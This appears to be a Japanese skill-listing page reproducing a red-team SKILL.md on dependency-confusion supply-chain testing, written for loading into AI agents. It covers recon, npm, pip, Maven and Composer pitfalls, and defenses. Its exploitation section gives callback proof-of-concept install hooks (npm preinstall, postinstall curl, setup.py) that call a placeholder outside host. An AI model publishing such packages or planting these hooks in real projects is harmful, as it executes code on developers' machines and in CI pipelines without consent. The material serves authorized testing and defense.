Agent Skills by ALSEL
Anthropic ClaudeLLM・AI開発⭐ リポ 0品質スコア 50/100

dependency-confusion

パッケージマネージャーの依存関係混乱を利用したサプライチェーンテストを実施するスキルです。内部パッケージ名が攻撃者の管理する公開レジストリに解決される脆弱性を検証し、悪意のあるインストールやスクリプト実行のリスクを評価します。npm / pip / gem / Maven / Composer / Docker のマニフェストレビューや、承認済みのレッドチームによるサプライチェーン演習での使用に適しています。

description の原文を見る

>- Supply-chain testing via package-manager dependency confusion: when internal package names resolve to attacker-controlled public registries, leading to malicious install and script execution. Use for npm/pip/gem/Maven/Composer/Docker manifest review and authorized red-team supply-chain exercises.

SKILL.md 本文

SKILL: 依存関係混同 — サプライチェーン攻撃プレイブック

AI ロード指示: 依存関係混同に関する専門的な方法論。プライベートパッケージ名がどのように漏洩し、公開レジストリがバージョン解決にどのように勝つか、エコシステム固有の落とし穴(npm スコープ、pip 追加インデックス、Maven リポジトリ順序)、偵察コマンド、非破壊的な PoC パターン(コールバック、データ流出ではなく)、防御的制御について説明します。マニフェストまたは CI キャッシュがスコープ内にある場合は、サプライチェーン偵察ワークフローと組み合わせて使用します。テストを許可されたシステムおよびプログラムでのみ使用してください。

0. クイックスタート

最初に確認すべきもの

  • 内部に見えるパッケージ名(短い未スコープ名、組織固有のトークン、製品コード名)をリストするマニフェストで、ハード プライベートレジストリロックがない。
  • 同じ名前が存在する、または公開レジストリで奪取可能である可能性があり、プライベートフィードが発行するより高い semver を使用している証拠。
  • ロックファイルが欠落、古い、または CI で強制されていないため、install/build が公開メタデータへドリフトする可能性。

高速なメンタルモデル: リゾルバーがプライベートインデックスと公開インデックスの両方を参照でき、バージョン範囲がそれを許可する場合、マッチングする「最新」バージョンが攻撃者のものであるかもしれません。

ルーティングに関する注記: サプライチェーン、リポジトリ公開、または CI ビルド偵察からタスクが来る場合は、まず recon-for-sec を使用して内部パッケージ名と可能な公開レジストリ衝突をリストアップします。


1. コアコンセプト

  1. プライベートパッケージ: 組織が内部レジストリ上のみでライブラリをシップするか、「私たち」を示唆する慣例で、例えば @org-scope/internal-utils のようなスコープ付き名または acme-billing-sdk のような未スコープ名。
  2. 攻撃者が名前を奪取: 同じパッケージ名が公開レジストリ(npmjs、PyPI、RubyGems など)で公開される。
  3. リゾルバー優先設定: 多くのセットアップはすべての設定されたインデックス全体で最高マッチングバージョンを解決する(またはメタデータをマージする)ため、公開の 9.9.9 がプライベートの 1.2.3 に勝つことができます(範囲が許可する場合)。
  4. 実行: パッケージマネージャーはライフサイクルスクリプト(npm の preinstall/postinstall、setuptools エントリーポイント など)を実行 → 攻撃者コードが開発者ラップトップ、CI、またはプロダクション イメージビルドで実行される。

これはサプライチェーンクラスの問題です:影響は多くの場合広範(多くの消費者)で、ビルドまたはランタイムフックが実行されるまで静かです


2. 影響を受けるエコシステム

エコシステム典型的なマニフェスト混同の角度
npmpackage.jsonスコープ付きパッケージ(@scope/pkg)は、スコープがレジストリで所有されている場合より安全です。未スコープの非公開スタイル名は高リスクです。複数のレジストリ / .npmrcregistry 対 スコープごと @scope:registry= の設定ミスはリスクを増加させます。
piprequirements.txtpyproject.tomlsetup.pypip install -i / --extra-index-url インデックスをマージします。公開インデックスは同じディストリビューション名に対してより高いバージョンを提供できます。
RubyGemsGemfilesource の順序と追加ソース。rubygems.org から到達可能な曖昧な宝石名。
Mavenpom.xmlリポジトリ宣言順序およびミラー設定。同じ groupId:artifactId をより高いバージョンで公開する公開リポジトリがポリシーを許可する場合に勝つことができます。
Composercomposer.jsonPackagist がデフォルト。repositories/canonical の規律がないプライベートパッケージは公開名と衝突する可能性があります。
DockerFROM、イメージタグコンテナレジストリ上のタイポスクワッティング(例:公開ハブ)は内部ベースイメージに似た名前のイメージを対象とします。

3. 偵察

内部名がどのように漏洩するか

  • リポジトリまたはフォークにコミットされた**package.jsonrequirements.txtGemfilepom.xmlcomposer.json**。
  • JavaScript ソースマップ、バンドルされたアセット、またはパッケージパスを参照するエラースタックトレース
  • .npmrc.pypirc、インストール URL またはミラーエンドポイントを示す CI ログ
  • Issue トラッカーgist スニペット、および SBOM エクスポートからの依存関係グラフ

公開スクワッティング / クレーム可能性をチェック(読み取り専用)

# npm — 名前のメタデータ(未スコープ)
npm view some-internal-package-name version

# npm — スコープ付き(スコープの存在/読み取り可能が必須)
npm view @some-scope/internal-lib versions --json

# PyPI — ドライラン形式のバージョンプローブ(名前を調整。見つからない場合は失敗)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'

# RubyGems — リモートをクエリ
gem search '^some-internal-package-name$' --remote

# Maven Central — 座標をサーチ(例パターン)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"

ルーティングに関する注記: パッケージ名列挙の後、認可された環境でのみ PoC を検討してください。公開レジストリ検索自体は通常パッシブ偵察です。


4. 悪用

認可されたテストパターン

  1. 登録(またはコントロールされた名前空間を使用)ターゲットリゾルバーが到達できる公開レジストリで同じパッケージ名
  2. 正当な内部ラインより高い semver を、被害者の宣言された範囲内で発行します(例:^1.0.09.9.9 を発行)。
  3. ホストに害を与えることなく実行を証明するライフサイクルフックを追加します—DNS/HTTP コールバックをコントロールしている協力者に、破壊的な書き込みなしで優先します。

npm package.json — 最小限のコールバック形式 PoC(説明用)

{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}

npm package.json — shell + curl フォールバック(説明用)

{
  "scripts": {
    "postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
  }
}

pip — セットアップフックパターン(説明用;認可されたラボパッケージのみ使用)

# setup.py(抜粋)
from setuptools import setup
from setuptools.command.install import install

class PoCInstall(install):
    def run(self):
        import urllib.request
        urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
        install.run(self)

setup(
    name="some-internal-package-name",
    version="9.9.9",
    cmdclass={"install": PoCInstall},
)

参照実装(学習 / ラボ): 0xsapra/dependency-confusion-exploit に似たコミュニティ PoC レイアウトとワークフロー—バージョンバンプ、発行、コールバック確認を自動化します書き込み許可を持つ場所でのみ


5. ツール

ツール役割
visma-prodsec/confusedマニフェストファイルをスキャンして、公開レジストリでクレーム可能である可能性のある依存関係名を検出します(マルチエコシステム)。
synacktiv/DepFuzzer自動依存関係混同テストワークフロー(厳密にスコープ内で使用)。

これらはあなたのマニフェスト、または認可されたエンゲージメントに対してのみ実行します。関連のない第三者のために名前を奪取するために使用しないでください。


6. 防御

  • npm: スコープ付きパッケージ(@org-scope/pkg)を組織所有スコープで優先します。.npmrc を設定して、プライベートスコープがプライベートレジストリにマップされ、デフォルトの registry が内部名に対して誤って公開にならないようにします。
  • ピン留め: 正確なバージョン + ロックファイルpackage-lock.jsonpoetry.lockGemfile.lockcomposer.lock)は CI で強制されます。
  • pip: 不注意な**--extra-index-url** を避けます。ミラーリング付きの単一プライベートインデックス、または CI での明示的な --index-url ポリシーを優先します。
  • Maven / Gradle: リポジトリ順序を制御し、内部ミラーを使用し、リリースパイプラインで予期しない groupIds をブロックします。
  • Composer: repositoriescanonical: true で使用してプライベートパッケージを保護します。Packagist が予期しないベンダーを導入していないことを確認します。
  • 防御的な登録: ポリシーが許可する場合、公開レジストリで内部名を予約(自分の名前を奪取)します。
  • モニタリング: Socket.devSnyk、または同様の SBOM/サプライチェーンスキャナーなどのツールを使用して、重要なパッケージに対する新しい発行者またはバージョンジャンプをアラートします。

7. 決定木

マニフェストは、グローバルに非ユニークである可能性のあるパッケージ名を参照していますか?
├─ いいえ → 依存関係混同は命名だけからはありそうにありません。タイポスクワッティング/侵害されたアカウントに切り替えます。
└─ はい
    ├─ プライベートレジストリがその名前の唯一のソースですか(スコープ済み + .npmrc / 単一インデックス / ミラー)?
    │   ├─ はい → より低いリスク。CI と開発者マシンが設定をオーバーライドしないことを確認します。
    │   └─ いいえ → 高リスク
    │         ├─ 公開レジストリは宣言された範囲内の HIGHER バージョンを発行できますか?
    │         │   ├─ はい → 認可されたテストで悪用可能として扱う。コールバック PoC で証明する。
    │         │   └─ いいえ → プレリリースタグ、ローカル `file:` 依存関係、古いロックファイルをチェックします。
    │         └─ CI でライフサイクルスクリプトが無効/ブロックされていますか?(影響を軽減しますが、スクワットリスクは削除しません)

関連ルーティング

  • recon-for-sec から: サプライチェーン偵察を実行している場合、漏洩したマニフェストと内部パッケージ識別子をセクション 3 のチェックおよびセクション 7 の決定木と相互リンクしてから、発行/PoC ステップを提案します。

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

OpenAILLM・AI開発⭐ リポ 6,054

agent-browser

AI エージェント向けのブラウザ自動化 CLI です。ウェブサイトとの対話が必要な場合に使用します。ページ遷移、フォーム入力、ボタンクリック、スクリーンショット取得、データ抽出、ウェブアプリのテスト、ブラウザ操作の自動化など、あらゆるブラウザタスクに対応できます。「ウェブサイトを開く」「フォームに記入する」「ボタンをクリックする」「スクリーンショットを取得する」「ページからデータを抽出する」「このウェブアプリをテストする」「サイトにログインする」「ブラウザ操作を自動化する」といった要求や、プログラマティックなウェブ操作が必要なタスクで起動します。

by JimmyLv
汎用LLM・AI開発⭐ リポ 1,982

anyskill

AnySkill — あなたのプライベート・スキルクラウド。GitHubを基盤としたリポジトリからエージェントスキルを管理、同期、動的にロードできます。自然言語でクラウドスキルを検索し、オンデマンドでプロンプトを自動ロード、カスタムスキルのアップロードと共有、スキルバンドルの一括インストールが可能です。OpenClaw、Antigravity、Claude Code、Cursorに対応しています。

by LeoYeAI
汎用LLM・AI開発⭐ リポ 1,982

engram

AIエージェント向けの永続的なメモリシステムです。バグ修正、意思決定、発見、設定変更の後はmem_saveを使用してください。ユーザーが「覚えている」「記憶している」と言及した場合、または以前のセッションと重複する作業を開始する際はmem_searchを使用します。セッション終了前にmem_session_summaryを使用して、コンテキストを保持してください。

by LeoYeAI
汎用LLM・AI開発⭐ リポ 21,584

skyvern

AI駆動のブラウザ自動化により、任意のウェブサイトを自動化できます。フォーム入力、データ抽出、ファイルダウンロード、ログイン、複数ステップのワークフロー実行など、ユーザーがウェブサイトと連携する必要があるときに使用します。Skyvernは、LLMとコンピュータビジョンを活用して、未知のサイトも自動操作可能です。Python SDK、TypeScript SDK、REST API、MCPサーバー、またはCLIを通じて統合できます。

by Skyvern-AI
汎用LLM・AI開発⭐ リポ 1,149

pinchbench

PinchBenchベンチマークを実行して、OpenClawエージェントの実世界タスクにおけるパフォーマンスを評価できます。モデルの機能テスト、モデル間の比較、ベンチマーク結果のリーダーボード提出、またはOpenClawのセットアップがカレンダー、メール、リサーチ、コーディング、複数ステップのワークフローにどの程度対応しているかを確認する際に使用します。

by pinchbench
汎用LLM・AI開発⭐ リポ 4,693

openui

OpenUIとOpenUI Langを使用してジェネレーティブUIアプリを構築できます。これらはLLM生成インターフェースのためのトークン効率的なオープン標準です。OpenUI、@openuidev、ジェネレーティブUI、LLMからのストリーミングUI、AI向けコンポーネントライブラリ、またはjson-render/A2UIの置き換えについて述べる際に使用します。スキャフォルディング、defineComponent、システムプロンプト、Renderer、およびOpenUI Lang出力のデバッグに対応しています。

by thesysdev
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT